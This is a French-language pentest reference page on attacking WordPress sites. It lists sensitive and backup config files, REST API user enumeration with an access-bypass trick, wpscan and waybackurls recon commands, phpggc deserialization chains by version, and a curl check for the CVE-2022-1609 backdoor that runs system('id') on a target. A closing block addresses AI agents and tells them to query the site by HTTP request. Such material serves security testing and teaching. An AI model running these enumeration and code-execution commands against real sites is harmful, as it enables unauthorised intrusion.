# WordPress

## Fichiers intéressants

```bash
robots.txt
feed
debug.log
readme.html
xmlrpc.php
wp-cron.php
wp-content/uploads
wp-load
wp-signup.php
wp-json
wp-login.php
wp-links-oplm.php
wp-activate.php
wp-blog-header.php
wp-links.php
wp-mail.php
wp-settings.php
wp-trackbar.php
wp-admin-bar.php
```

### Dashboard d'administrateur

```
wp-admin.php
```

### Fichiers de configuration

```
.htaccess
wp-config.php
```

### Directory listing

```
wp-includes [directory]
```

### Backup file

```
wp-config.bak.php
wp-config,txt
wp-config.zip
wp-config.md
wp-config.php_orig
wp-config.bak
```

## Scans

Voir wpscan et xmlrpc-scan.

{% content-ref url="/pages/DoFsvBcdPPtBLy6Z4404" %}
[Scan de ports / web](/osint-recon/scan-de-ports-web.md)
{% endcontent-ref %}

## Enumération

### Utilisateurs

En utilisant le chemin /wp-json/wp/v2/users, il est possible de FUZZ les utilisateurs comme ceci:

&#x20;/wp-json/wp/v2/users/1

&#x20;/wp-json/wp/v2/users/2

&#x20;/wp-json/wp/v2/users/3

&#x20;/wp-json/wp/v2/users/X

Faire la même chose avec le paramètre author (?author=X)

Si l'accès est bloqué, on peu tenter de le contourner comme ceci:

/wp-json/?rest\_route=/wp/v2/users

Si l'un de ces endpoints fonctionne, il est possible d'utiliser les paramètres "per\_page" et "page" pour afficher l'ensemble des utilisateurs sur une seule page.

&#x20;/wp-json/wp/v2/users/?per\_page=100\&page=1

## Tips

Avec API wpscan:

$ wpscan --url <https://target.com> -e vp --api-token \<token> --random-user-agent --ignore-main-redirect --force --disable-tls-checks

parfois ce n'est pas nécessaire car le wordpress est directement hébergé sur le répertoire root.

exp:

<https://target.com/blog/wp-content>

<https://target.com/news/articles/wp-content>

pour trouver les endpoints intéressant  on peut s'aider des excellents outils waybackurls et httpx.

$ waybackurls target.com | grep "wp-content" | httpx -mc 200

On peut aussi utiliser gau, gauplus etc pour plus d'endpoints.

Avec ces informations, on peut alors plus facilement cibler nos recherche dans l'option url de wpscan.

$ wpscan --url <https://target.com/><mark style="color:green;">path/to/wp-content</mark> --wp-content-dir -e vp --api-token \<token> --random-user-agent --ignore-main-redirect --force --disable-tls-checks

Une fois cela fais, il ne reste plus qu'a analyser le resultat à la recherche de vulnérabilités connues.

Pour exploiter les thèmes, il suffit de changer vp par vt dans la commande.

&#x20;$ wpscan --url <https://target.com/path/to/wp-content> --wp-content-dir -e <mark style="color:yellow;">vt</mark> --api-token \<token> --random-user-agent --ignore-main-redirect --force --disable-tls-checks

Evidemment, wpscan n'est pas un outil parfait et il arrive qu'il ne détecte pas tout ce qu'il pourrait détecter, il est donc important de manuellement rechercher plugins et thèmes manuellement à l'aide de la fonctionnalité view-source de votre navigateur.

utilisez view-source de cette manière dans la barre de saisie d'url:

view-source:<https://target.com>

puis recherchez des mots clés comme "/plugins" ou "/themes" dans différentes pages du site.

Vous pourriez ainsi trouver des éléments auquel d'autres n'auraient peut-être pas pensé et qui pourraient contenir des vulnérabilités.&#x20;

## Unsecure deserialization

Ressource: <https://fenrisk.com/publications/blogpost/2023/11/22/gadgets-chain-in-wordpress/>

WordPress < 5.5.2 => phpgcc WordPress/WooCommerce/RCE1 et WordPress/WooCommerce/RCE2 (Nécessite le plugin WooCommerce d'installé)

Wordpress < 6.3.5 => phpgcc WordPress/RCE1 (via classe WP\_Theme)

WordPress > 6.4 => phpgcc WordPress/RCE2 (via classe WP\_HTML\_Token)

## CVE

### CVE-2022-1609

WordPress Weblizar Backdoor (WordPress school management pro premium version < 9.9.7)

Check:

*`$ curl -s -d 'blowfish=1' -d "blowfish=system('id');" 'http://target.com/wp-json/am-member/license'`*

vulnerable output:

uid=...gid=...groups=...

## Outils

### Wpscan

Wpscan est un outil de scan de vulnérabilité dédiés aux sites Wordpress

Exemple d'utilisation:

*`$ wpscan --url target.com`*

ressource: <https://github.com/wpscanteam/wpscan>

### Xmlrpc-scan

Xmlrpc-scan permet de scanner les méthodes xml-rpc présentes dans les sites Wordpress à la recherche de faille SSRF.

Utilisation:

*`$ xmlrpc-scan -target target.com -server http://burpcolaborator.net`*

ressource: <https://github.com/nullfil3/xmlrpc-scan>

### Wpprobe

Wpprobe est outil d'enumeration de plugins WordPress

Exemple d'utilisation:

*`$ ./wpprobe scan -u https://target.com`*

ressource: <https://github.com/Chocapikk/wpprobe>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/pentest-web/cms-content-management-system/wordpress.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
